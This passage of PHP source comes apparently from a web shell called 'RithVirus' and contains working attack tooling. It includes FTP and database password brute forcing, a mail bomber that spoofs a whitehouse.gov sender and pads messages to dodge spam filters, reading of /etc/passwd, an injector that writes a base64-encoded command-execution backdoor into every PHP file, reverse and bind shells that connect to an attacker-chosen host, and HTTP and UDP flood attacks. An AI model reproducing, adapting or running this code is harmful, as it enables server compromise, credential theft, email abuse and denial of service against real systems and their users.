  3624.             if ($_GET['prototype'] == 'ftp') {
  3625.                 function BruteFun($ip, $port, $login, $pass)
  3626.                 {
  3627.                     $fp = @ftp_connect($ip, $port ? $port : 21);
  3628.                     if (!$fp)
  3629.                         return false;
  3630.                     $res = @ftp_login($fp, $login, $pass);
  3631.                     @ftp_close($fp);
  3632.                     return $res;
  3633.                 }
  3634.             } elseif ($_GET['prototype'] == 'mysql') {
  3635.                 function BruteFun($ip, $port, $login, $pass)
  3636.                 {
  3637.                     $res = @mysql_connect($ip . ':' . $port ? $port : 3306, $login, $pass);
  3638.                     @mysql_close($res);
  3639.                     return $res;
  3640.                 }
  3641.             } elseif ($_GET['prototype'] == 'pgsql') {
  3642.                 function BruteFun($ip, $port, $login, $pass)
  3643.                 {
  3644.                     $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
  3645.                     $res = @pg_connect($str);
  3646.                     @pg_close($res);
  3647.                     return $res;
  3648.                 }
  3649.             }
  3650.             $success  = 0;
  3651.             $attempts = 0;
  3652.             $server   = explode(":", $_GET['server']);
  3653.             if ($_GET['type'] == 1) {
  3654.                 $temp = @file('/etc/passwd');
  3655.                 if (is_array($temp))
  3656.                     foreach ($temp as $line) {
  3657.                         $line = explode(":", $line);
  3658.                         ++$attempts;
  3659.                         if (BruteFun(@$server[0], @$server[1], $line[0], $line[0])) {
  3660.                             $success++;
  3661.                             echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
  3662.                         }
  3663.                         if (@$_GET['reverse']) {
  3664.                             $tmp = "";
  3665.                             for ($i = strlen($line[0]) - 1; $i >= 0; --$i)
  3666.                                 $tmp .= $line[0][$i];
  3667.                             ++$attempts;
  3668.                             if (BruteFun(@$server[0], @$server[1], $line[0], $tmp)) {
  3669.                                 $success++;
  3670.                                 echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
  3671.                             }
  3672.                         }
  3673.                     }
  3674.             } elseif ($_GET['type'] == 2) {
  3675.                 $temp = @file($_GET['dict']);
  3676.                 if (is_array($temp))
  3677.                     foreach ($temp as $line) {
  3678.                         $line = trim($line);
  3679.                         ++$attempts;
  3680.                         if (BruteFun($server[0], @$server[1], $_GET['login'], $line)) {
  3681.                             $success++;
  3682.                             echo '<b>' . htmlspecialchars($_GET['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
  3683.                         }
  3684.                     }
  3685.             }
  3686.             echo "<span>Attempts:</span> <font class=txt face=Iceland>$attempts</font> <span>Success:</span> <font class=txt face=Iceland>$success</font></div></td></tr>";
  3687.         }
  3688. ?>
  3689.                 </table>
  3690.                 </center><br>
  3691.                 <?php
  3692.     }
  3693.     // Mail
  3694.     else if (isset($_GET['mailbomb'])) {
  3695. ?>
  3696.         <center><table><tr><td><a href="<?php
  3697.         echo $self;
  3698. ?>?bomb&mailbomb"><font size="4">| Mail Bomber |</font></a></td><td><a href="<?php
  3699.         echo $self;
  3700. ?>?mail&mailbomb"><font size="4">| Mass Mailer |</font></a></td></tr></table></center><br>
  3701. <?php
  3702.         if (isset($_GET['bomb'])) {
  3703.             if (isset($_GET['to']) && isset($_GET['subject']) && isset($_GET['message']) && isset($_GET['times']) && $_GET['to'] != '' && $_GET['subject'] != '' && $_GET['message'] != '' && $_GET['times'] != '') {
  3704.                 $times = $_GET['times'];
  3705.                 while ($times--) {
  3706.                     if (isset($_GET['padding'])) {
  3707.                         $fromPadd    = rand(0, 9999);
  3708.                         $subjectPadd = " -- ID : " . rand(0, 9999999);
  3709.                         $messagePadd = "\n\n------------------------------\n" . rand(0, 99999999);
  3710.                     }
  3711.                     $from = "president$fromPadd@whitehouse.gov";
  3712.                     if (!mail($_GET['to'], $_GET['subject'] . $subjectPadd, $_GET['message'] . $messagePadd, "From:" . $from)) {
  3713.                         $error = 1;
  3714.                         echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
  3715.                         break;
  3716.                     }
  3717.                 }
  3718.                 if ($error != 1) {
  3719.                     echo "<center><font class=txt face=Iceland size=3><blink>Mail(s) Sent!</blink></font></center>";
  3720.                 }
  3721.             } else {
  3722. ?>
  3723.                         <form method="GET">
  3724.                                 <input type="hidden" name="bomb" />
  3725.                                 <input type="hidden" name="mailbomb" />
  3726.                                 <table id="margins" style="width:100%;">
  3727.                                         <tr>
  3728.                                                 <td style="width:30%;">
  3729.                                                         To
  3730.                                                 </td>
  3731.                                                 <td>
  3732.                                                         <input class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/>
  3733.                                                 </td>
  3734.                                         </tr>
  3735.                                         <tr>
  3736.                                                 <td style="width:30%;">
  3737.                                                         Subject
  3738.                                                 </td>
  3739.                                                 <td>
  3740.                                                         <input type="text" class="box" name="subject" value="RithVirus Here!" onFocus="if(this.value == 'RithVirus Here!')this.value = '';" onBlur="if(this.value=='')this.value='RithVirus Here!';" />
  3741.                                                 </td>
  3742.                                         </tr>
  3743.                                          <tr>
  3744.                                                 <td style="width:30%;">
  3745.                                                         No. of Times  
  3746.                                                 </td>
  3747.                                                 <td>
  3748.                                                         <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
  3749.                                                 </td>
  3750.                                         </tr>
  3751.                                         <tr>
  3752.                                                 <td style="width:30%;">
  3753.                                                         Pad your message (Less spam detection)
  3754.                                                 </td>
  3755.                                                 <td>
  3756.                                                         <input type="checkbox" name="padding"/>
  3757.                                                 </td>
  3758.                                         </tr>
  3759.                                         <tr>
  3760.                                                 <td colspan="2">
  3761.                                                         <textarea name="message" cols="110" rows="10" class="box">Hello !! This is RithVirus!!</textarea>
  3762.                                                 </td>
  3763.                                         </tr>
  3764.                                         <tr>
  3765.                                                 <td rowspan="2">
  3766.                                                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="    Bomb!  "/>
  3767.                                                 </td>
  3768.                                         </tr>
  3769.                                 </table>            
  3770.                         </form>  
  3771.                         <?php
  3772.             }
  3773.         }
  3774.         //Mass Mailer
  3775.         else if (isset($_GET['mail'])) {
  3776.             if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['message'])) {
  3777.                 if (mail($_GET['to'], $_GET['subject'], $_GET['message'], "From:" . $_GET['from'])) {
  3778.                     echo "<center><font class=txt face=Iceland size=3><blink>Mail Sent!</blink></font></center>";
  3779.                 } else {
  3780.                     echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
  3781.                 }
  3782.             } else {
  3783. ?>
  3784.                 <div align="left">
  3785.         <form method="GET">
  3786.             <input type="hidden" name="mail" />
  3787.                         <input type="hidden" name="mailbomb" />
  3788.             <table align="left" style="width:100%;">
  3789.                 <tr>
  3790.                     <td style="width:10%;">From</td>
  3791.                     <td style="width:80%;" align="left"><input name="from" class="box" value="Hello@abcd.in" onFocus="if(this.value == 'president@whitehouse.gov')this.value = '';" onBlur="if(this.value=='')this.value='president@whitehouse.gov';"/></td>
  3792.                 </tr>
  3793.                 <tr>
  3794.                     <td style="width:20%;">To</td>
  3795.                     <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
  3796.                 </tr>
  3797.                 <tr>
  3798.                     <td style="width:20%;">Subject</td>
  3799.                     <td style="width:80%;"><input type="text" class="box" name="subject" value="RithVirus Here!!" onFocus="if(this.value == 'RithVirus Here!!')this.value = '';" onBlur="if(this.value=='')this.value='RithVirus Here!!';" /></td>
  3800.                 </tr>
  3801.                 <tr>
  3802.                     <td colspan="2">
  3803.                         <textarea name="message" cols="110" rows="10" class="box">Hello !! This is RithVirus!!!</textarea>
  3804.                     </td>
  3805.                 </tr>
  3806.                 <tr>
  3807.                     <td rowspan="2">
  3808.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="   Send! "/>
  3809.                     </td>
  3810.                 </tr>
  3811.             </table>            
  3812.         </form></div>  
  3813.         <?php
  3814.             }
  3815.         }
  3816.     }
  3817.     // View Passwd file
  3818.     else if (isset($_GET['passwd'])) {
  3819.         $test  = '';
  3820.         $tempp = tempnam($test, "cx");
  3821.         $get   = "/etc/passwd";
  3822.         if (copy("compress.zlib://" . $get, $tempp)) {
  3823.             $fopenzo = fopen($tempp, "r");
  3824.             $freadz  = fread($fopenzo, filesize($tempp));
  3825.             fclose($fopenzo);
  3826.             $source = htmlspecialchars($freadz);
  3827.             echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
  3828.             unlink($tempp);
  3829.         } else {
  3830.             if (isset($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2'])) {
  3831.                 $temp = "";
  3832.                 for (; $_GET['val1'] <= $_GET['val2']; $_GET['val1']++) {
  3833.                     $uid = @posix_getpwuid($_GET['val1']);
  3834.                     if ($uid)
  3835.                         $temp .= join(':', $uid) . "\n";
  3836.                 }
  3837.                 echo '<br/>';
  3838.                 paramexe('Users', $temp);
  3839.             } else {
  3840. ?>
  3841.                         <form>
  3842.                                 <input type="hidden" name="passwd">
  3843.                                 <table class=tbl border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
  3844.                                 <tr>
  3845.                                         <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
  3846.                                 </tr>
  3847.                                 <tr>
  3848.                                         <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
  3849.                                 </tr>
  3850.                                 <tr>
  3851.                                         <td colspan="2" align="center"><input type="submit" value="  Go  " class="but"></td>
  3852.                                 </tr>
  3853.                                 </table><br>
  3854.                         </form>
  3855.                         <?php
  3856.             }
  3857.         }
  3858.     }
  3859.     // Code Injector
  3860.     else if (isset($_GET['injector'])) {
  3861. ?>
  3862.         <table id="margins" >
  3863.         <tr>
  3864.             <form method='POST'>
  3865.             <input type="hidden" name="injector"/>  
  3866.                 <tr>
  3867.                     <td width="100" class="title">
  3868.                         Directory
  3869.                     </td>
  3870.                     <td>
  3871.                          <input class="box" name="pathtomass" value="<?php
  3872.         echo getcwd() . $SEPARATOR;
  3873. ?>" />
  3874.                     </td>
  3875.                 </tr>
  3876.                 <tr>
  3877.                 <td class="title">
  3878.                     Mode
  3879.                 </td>
  3880.                 <td>
  3881.                         <select style="width: 400px;" name="mode" class="box">
  3882.                             <option value="Apender">Apender</option>
  3883.                             <option value="Overwriter">Overwriter</option>
  3884.                         </select>
  3885.                 </td>
  3886.                 </tr>
  3887.                 <tr>
  3888.                     <td class="title">
  3889.                         File Type
  3890.                     </td>
  3891.                     <td>
  3892.                         <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  3893.                     </td>
  3894.                 </tr>
  3895.                 <tr>
  3896.                                         <td>Create A backdoor by injecting this code in every php file of current directory</td>
  3897.                                 </tr>
  3898.                 <tr>
  3899.                     <td colspan="2">
  3900.                         <textarea name="injectthis" cols="110" rows="10" class="box"><?php
  3901.         echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+");
  3902. ?></textarea>
  3903.                     </td>
  3904.                 </tr>
  3905.                 <tr>
  3906.                     <td rowspan="2">
  3907.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
  3908.                     </td>
  3909.                 </tr>
  3910.         </form>
  3911.         </table>
  3912.         <?php
  3913.     }
  3914.     // Connect
  3915.     else if (isset($_GET['connect'])) {
  3916. ?>
  3917.         <table style="width:50%" align="center" >
  3918.     <tr>
  3919.         <th colspan="1" width="50px">Reverse Shell</th>
  3920.         <th colspan="1" width="50px">Bind Shell</th>
  3921.     </tr>
  3922.     <tr>
  3923.         <form action='<?php
  3924.         echo $self;
  3925. ?>?connect' method='post' >  
  3926.          <td>
  3927.             <table style="border-spacing: 6px;">
  3928.                 <tr>
  3929.                     <td>IP </td>
  3930.                     <td>
  3931.                         <input type="text" class="box" style="width: 200px;" name="ip" value="<?php
  3932.         yourip();
  3933. ?>" />
  3934.                     </td>
  3935.                 </tr>
  3936.                 <tr>
  3937.                     <td>Port </td>
  3938.                     <td><input style="width: 200px;" class="box" name="port" size='5' value="21"/></td>
  3939.                                 </tr>
  3940.                                 <tr>
  3941.                                         <td style="vertical-align:top;">Use:</td>      
  3942.                                         <td><select style="width: 95px;" name="lang" class="sbox">
  3943.                                                 <option value="perl">Perl</option>
  3944.                                                 <option value="python">Python</option>
  3945.                                                 <option value="php">PHP</option>
  3946.                                                 </select>&nbsp;&nbsp;
  3947.                                         <input style="width: 90px;" class="but" type="submit" value="Connect!"/></td>
  3948.                </tr>
  3949.             </table>
  3950.          </td>
  3951.       </form>
  3952.          <form action='<?php
  3953.         echo $self;
  3954. ?>?connect' method='post' >
  3955.          <td style="vertical-align:top;">
  3956.             <table style="border-spacing: 6px;">
  3957.                 <tr>
  3958.                     <td>Port</td>
  3959.                     <td>
  3960.                         <input style="width: 200px;" class="box" name="port" value="21" />
  3961.                     </td>
  3962.                 </tr>
  3963.                 <tr>
  3964.                     <td>Password </td>
  3965.                     <td>
  3966.                                                 <input style="width: 200px;" class="box" name="passwd" value="RithVirus"/>
  3967.                                         </td>
  3968.                                         <tr>
  3969.                                                 <td>Using</td>
  3970.                                                 <td>
  3971.                                                 <select style="width: 95px;" name="lang" id="lang" class="sbox">
  3972.                                                 <option value="perl">Perl</option>
  3973.                                                 <option value="c">Python</option>
  3974.                                                 </select>&nbsp;&nbsp;
  3975.                                                 <input style="width: 90px;" class="but" type="submit" value=" Bind "/></td>
  3976.                 </tr>
  3977.             </table>
  3978.          </td>
  3979.          </form>
  3980.     </tr>
  3981.     </table>
  3982.     <div align="center">Click "Connect" only after open port for it. You should use NetCat?, run "nc -l -n -v -p 21"!</div>
  3983.     <p align="center">Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  3984.     <?php
  3985.         if (isset($_POST['ip']) && isset($_POST['port']) && $_POST['ip'] != "" && $_POST['port'] != "") {
  3986.             $host = $_POST['ip'];
  3987.             $port = $_POST['port'];
  3988.             if ($_POST["lang"] == "perl") {
  3989.                 if (is_writable(".")) {
  3990.                     @$fh = fopen(getcwd() . "/bc.pl", 'w');
  3991.                     @fwrite($fh, gzuncompress(base64_decode($backconnect_perl)));
  3992.                     @fclose($fh);
  3993.                     echo "<font class=txt face=Iceland size=3>Trying to connect...</font></br>";
  3994.                     execmd("perl " . getcwd() . "/bc.pl $host $port &", $disable);
  3995.                     if (!@unlink(getcwd() . "/bc.pl"))
  3996.                         echo "<font size=3>Warning: Failed to delete reverse-connection program</font></br>";
  3997.                 } else {
  3998.                     @$fh = fopen("/tmp/bc.pl", "w");
  3999.                     @fwrite($fh, gzuncompress(base64_decode($backconnect_perl)));
  4000.                     @fclose($fh);
  4001.                     echo "<font class=txt face=Iceland size=3>Trying to connect...</font></br>";
  4002.                     execmd("perl /tmp/bc.pl $host $port &", $disable);
  4003.                     if (!@unlink("/tmp/bc.pl"))
  4004.                         echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4005.                 }
  4006.             } else if ($_POST["lang"] == "python") {
  4007.                 if (is_writable(".")) {
  4008.                     $w_file = @fopen(getcwd() . "/bc.py", "w");
  4009.                     if ($w_file) {
  4010.                         @fputs($w_file, gzuncompress(base64_decode($back_connect_p)));
  4011.                         @fclose($w_file);
  4012.                     }
  4013.                     chmod('bc.py', 0777);
  4014.                     $blah = execmd("python " . getcwd() . "/bc.py $host $port &");
  4015.                     echo "<font class=txt face=Iceland size=3>Trying to connect...</font></br>";
  4016.                     if (!@unlink("bc.py"))
  4017.                         echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4018.                 } else {
  4019.                     chmod('/tmp/bc.py', 0777);
  4020.                     $w_file = @fopen("/tmp/bc.py", "w") or err();
  4021.                     if ($w_file) {
  4022.                         @fputs($w_file, gzuncompress(base64_decode($back_connect_p)));
  4023.                         @fclose($w_file);
  4024.                     }
  4025.                     $blah = execmd("python /tmp/bc.py 127.0.0.1 21 &");
  4026.                     echo "<font class=txt face=Iceland size=3>Trying to connect...</font></br>";
  4027.                     if (!@unlink("/tmp/bc.py"))
  4028.                         echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4029.                 }
  4030.             } else if ($_POST["lang"] == "php") {
  4031.                 echo "<font class=txt face=Iceland size=3>Attempting to connect...</font>";
  4032.                 $ip     = $_POST['ip'];
  4033.                 $port   = $_POST['port'];
  4034.                 $sockfd = fsockopen($ip, $port, $errno, $errstr);
  4035.                 if ($errno != 0) {
  4036.                     echo "<font class=txt face=Iceland><b>$errno</b> : $errstr</font>";
  4037.                 } else if (!$sockfd) {
  4038.                     $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  4039.                 } else {
  4040.                     fputs($sockfd, "\n=================================================================\n\n=================================================================");
  4041.                     $pwd     = exec_all("pwd");
  4042.                     $sysinfo = exec_all("uname -a");
  4043.                     $id      = exec_all("id");
  4044.                     $len     = 1337;
  4045.                     fputs($sockfd, $sysinfo . "\n");
  4046.                     fputs($sockfd, $pwd . "\n");
  4047.                     fputs($sockfd, $id . "\n\n");
  4048.                     fputs($sockfd, $dateAndTime . "\n\n");
  4049.                     while (!feof($sockfd)) {
  4050.                         $cmdPrompt = "(RithVirus)[$]> ";
  4051.                         fputs($sockfd, $cmdPrompt);
  4052.                         $command = fgets($sockfd, $len);
  4053.                         fputs($sockfd, "\n" . exec_all($command) . "\n\n");
  4054.                     }
  4055.                     fclose($sockfd);
  4056.                 }
  4057.             }
  4058.         } else if (isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang'])) {
  4059.             $passwd = $_POST['passwd'];
  4060.             if ($_POST['lang'] == 'c') {
  4061.                 if (is_writable(".")) {
  4062.                     @$fh = fopen(getcwd() . "/bp.c", 'w');
  4063.                     @fwrite($fh, gzinflate(base64_decode($bind_port_c)));
  4064.                     @fclose($fh);
  4065.                     execmd("chmod " . getcwd() . "/bp.c 0755");
  4066.                     execmd("gcc -o " . getcwd() . "/bp " . getcwd() . "/bp.c");
  4067.                     execmd("chmod " . getcwd() . "/bp 0755");
  4068.                     $out = execmd(getcwd() . "/bp" . " " . $_POST['port'] . " " . $passwd . " &");
  4069.                     echo "<pre>$out\n" . execmd("ps aux | grep bp.pl") . "</pre>";
  4070.                 } else {
  4071.                     @$fh = fopen("/tmp/bp.c", "w");
  4072.                     @fwrite($fh, gzinflate(base64_decode($bind_port_c)));
  4073.                     @fclose($fh);
  4074.                     execmd("chmod /tmp/bp.c 0755");
  4075.                     execmd("gcc -o /tmp/bp /tmp/bp.c");
  4076.                     $out = execmd("/tmp/bp" . " " . $_POST['port'] . " " . $passwd . " &");
  4077.                     echo "<pre>$out\n" . execmd("ps aux | grep bp") . "</pre>";
  4078.                 }
  4079.             }
  4080.             if ($_POST['lang'] == 'perl') {
  4081.                 if (is_writable(".")) {
  4082.                     @$fh = fopen(getcwd() . "/bp.pl", 'w');
  4083.                     @fwrite($fh, gzinflate(base64_decode($bind_port_p)));
  4084.                     @fclose($fh);
  4085.                     execmd("chmod " . getcwd() . "/bp.pl 0755");
  4086.                     $out = execmd("perl " . getcwd() . "/bp.pl" . " " . $passwd . " &");
  4087.                     echo "<pre>$out\n" . execmd("ps aux | grep bp.pl") . "</pre>";
  4088.                 } else {
  4089.                     @$fh = fopen("/tmp/bp.pl", "w");
  4090.                     @fwrite($fh, gzinflate(base64_decode($bind_port_p)));
  4091.                     @fclose($fh);
  4092.                     $out = execmd("perl /tmp/bp.pl " . $passwd . " &");
  4093.                     echo "<pre>$out\n" . execmd("ps aux | grep bp.pl") . "</pre>";
  4094.                 }
  4095.             }
  4096.         }
  4097.     }
  4098.     //fuzzer
  4099.     else if (isset($_GET['fuzz'])) {
  4100.         if (isset($_GET['ip']) && isset($_GET['port']) && isset($_GET['times']) && isset($_GET['time']) && isset($_GET['message']) && isset($_GET['messageMultiplier']) && $_GET['message'] != "" && $_GET['time'] != "" && $_GET['times'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['messageMultiplier'] != "") {
  4101.             $IP         = $_GET['ip'];
  4102.             $port       = $_GET['port'];
  4103.             $times      = $_GET['times'];
  4104.             $timeout    = $_GET['time'];
  4105.             $send       = 0;
  4106.             $ending     = "";
  4107.             $multiplier = $_GET['messageMultiplier'];
  4108.             $data       = "";
  4109.             $mode       = "tcp";
  4110.             $data .= "GET /";
  4111.             $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  4112.             if ($_GET['type'] == "tcp") {
  4113.                 $mode = "tcp";
  4114.             }
  4115.             while ($multiplier--) {
  4116.                 $data .= urlencode($_GET['message']);
  4117.             }
  4118.             $data .= "%s%s%s%s%d%x%c%n%n%n%n"; // add some format string specifiers
  4119.             $data .= "by-RithVirus" . $ending;
  4120.             $length = strlen($data);
  4121.             echo "Sending Data :- <br /> <p align='center'>$data</p>";
  4122.             print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4123.             for ($i = 0; $i < $times; $i++) {
  4124.                 $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  4125.                 if ($socket) {
  4126.                     fwrite($socket, $data, $length);
  4127.                     fclose($socket);
  4128.                 }
  4129.             }
  4130.             echo "<script>alert('Fuzzing Completed!');</script>";
  4131.             echo "DOS attack against $mode://$IP:$port completed on " . date("h:i:s A") . "<br />";
  4132.             echo "Total Number of Packets Sent : " . $times . "<br />";
  4133.             echo "Total Data Sent = " . HumanReadableFilesize($times * $length) . "<br />";
  4134.             echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  4135.         } else {
  4136. ?>
  4137.         <form method="GET">
  4138.             <input type="hidden" name="fuzz" />
  4139.             <table id="margins">
  4140.                 <tr>
  4141.                     <td width="400" class="title">
  4142.                         IP
  4143.                     </td>
  4144.                     <td>
  4145.                         <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4146.                     </td>
  4147.                 </tr>
  4148.                 <tr>
  4149.                     <td class="title">
  4150.                         Port
  4151.                     </td>
  4152.                     <td>
  4153.                         <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4154.                     </td>
  4155.                 </tr>
  4156.                 <tr>
  4157.                     <td class="title">
  4158.                         Timeout
  4159.                     </td>
  4160.                     <td>
  4161.                         <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
  4162.                     </td>
  4163.                 </tr>
  4164.                 <tr>
  4165.                     <td class="title">
  4166.                         No of times
  4167.                     </td>
  4168.                     <td>
  4169.                         <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
  4170.                     </td>
  4171.                 </tr>
  4172.                 <tr>
  4173.                     <td class="title">
  4174.                         Message (The message Should be long and it will be multiplied with the value after it)
  4175.                     </td>
  4176.                     <td>
  4177.                         <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  4178.                     </td>
  4179.                     <td>
  4180.                         x
  4181.                     </td>
  4182.                     <td width="20">
  4183.                         <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
  4184.                     </td>
  4185.                 </tr>
  4186.                 <tr>
  4187.                     <td rowspan="2">
  4188.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="  Submit  "/>
  4189.                     </td>
  4190.                 </tr>
  4191.             </table>            
  4192.         </form>
  4193.         <?php
  4194.         }
  4195.     }
  4196.     //DDos
  4197.     else if (isset($_GET['dos'])) {
  4198.         if (isset($_GET['ip']) && isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" && $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "") {
  4199.             $IP            = $_GET['ip'];
  4200.             $port          = $_GET['port'];
  4201.             $executionTime = $_GET['exTime'];
  4202.             $noOfBytes     = $_GET['noOfBytes'];
  4203.             $data          = "";
  4204.             $timeout       = $_GET['timeout'];
  4205.             $packets       = 0;
  4206.             $counter       = $noOfBytes;
  4207.             $maxTime       = time() + $executionTime;
  4208.             ;
  4209.             while ($counter--) {
  4210.                 $data .= "X";
  4211.             }
  4212.             $data .= " RithVirus";
  4213.             print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4214.             while (1) {
  4215.                 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  4216.                 if ($socket) {
  4217.                     fwrite($socket, $data);
  4218.                     fclose($socket);
  4219.                     $packets++;
  4220.                 }
  4221.                 if (time() >= $maxTime) {
  4222.                     break;
  4223.                 }
  4224.             }
  4225.             echo "<script>alert('Dos Completed!');</script>";
  4226.             echo "DOS attack against udp://$IP:$port completed on " . date("h:i:s A") . "<br />";
  4227.             echo "Total Number of Packets Sent : " . $packets . "<br />";
  4228.             echo "Total Data Sent = " . HumanReadableFilesize($packets * $noOfBytes) . "<br />";
  4229.             echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  4230.         } else {
  4231. ?>
  4232.                         <form method="GET">
  4233.                                 <input type="hidden" name="dos" />
  4234.                                 <table id="margins">
  4235.                                         <tr>
  4236.                                                 <td width="400" class="title">
  4237.                                                         IP
  4238.                                                 </td>
  4239.                                                 <td>
  4240.                                                         <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4241.                                                 </td>
  4242.                                         </tr>
  4243.                                         <tr>
  4244.                                                 <td class="title">
  4245.                                                         Port
  4246.                                                 </td>
  4247.                                                 <td>
  4248.                                                         <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4249.                                                 </td>
  4250.                                         </tr>
  4251.                                         <tr>
  4252.                                                 <td class="title">
  4253.                                                         Timeout (Time in seconds)
  4254.                                                 </td>
  4255.                                                 <td>
  4256.                                                         <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
  4257.                                                 </td>
  4258.                                         </tr>
  4259.                                         <tr>
  4260.                                                 <td class="title">
  4261.                                                         Execution Time (Time in seconds)
  4262.                                                 </td>
  4263.                                                 <td>
  4264.                                                         <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
  4265.                                                 </td>
  4266.                                         </tr>
  4267.                                         <tr>
  4268.                                                 <td class="title">
  4269.                                                         No of Bytes per/packet
  4270.                                                 </td>
  4271.                                                 <td>
  4272.                                                         <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
  4273.                                                 </td>
  4274.                                         </tr>
  4275.                                         <tr>
  4276.                                                 <td rowspan="2">
  4277.                                                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>
  4278.                                                 </td>
  4279.                                         </tr>
  4280.                                 </table>            
  4281.                         </form>
  4282.                         <?php
  4283.         }
  4284.     }
  4285.     // Sec info
  4286.     else if (isset($_GET['secinfo'])) {
  4287. ?>
  4288. <br><br><center><font size=5>Server security information</font><br><br></center>
  4289.         <table style="width:100%;" border="1" class="tbl">
  4290.         <tr>
  4291.                 <td style="width:7%;">Curl</td>
  4292.                 <td style="width:7%;">Oracle</td>
  4293.                 <td style="width:7%;">MySQL</td>
  4294.                 <td style="width:7%;">MSSQL</td>
  4295.                 <td style="width:7%;">PostgreSQL</td>
  4296.                 <td style="width:12%;">Open Base Directory</td>
  4297.                 <td style="width:10%;">Safe_Exec_Dir</td>
  4298.                 <td style="width:7%;">PHP Version</td>
  4299.                 <td style="width:7%;">Server Admin</td>
  4300.         </tr>
  4301.         <tr>
  4302.                 <td style="width:7%;"><font class="txt"><?php
  4303.         curlinfo();
  4304. ?></font></td>
  4305.                 <td style="width:7%;"><font class="txt"><?php
  4306.         oracleinfo();
  4307. ?></font></td>
  4308.                 <td style="width:7%;"><font class="txt"><?php
  4309.         mysqlinfo();
  4310. ?></font></td>
  4311.                 <td style="width:7%;"><font class="txt"><?php
  4312.         mssqlinfo();
  4313. ?></font></td>
  4314.                 <td style="width:7%;"><font class="txt"><?php
  4315.         postgresqlinfo();
  4316. ?></font></td>
  4317.                 <td style="width:12%;"><font class="txt"><?php
  4318.         echo $basedir;
  4319. ?></font></td>
  4320.                 <td style="width:10%;"><font class="txt"><?php
  4321.         if (@function_exists('ini_get')) {
  4322.             if ('' == ($df = @ini_get('safe_mode_exec_dir'))) {
  4323.                 echo "NONE</b>";
  4324.             } else {
  4325.                 echo "<font class=txt face=Iceland>$df</font></b>";
  4326.             }
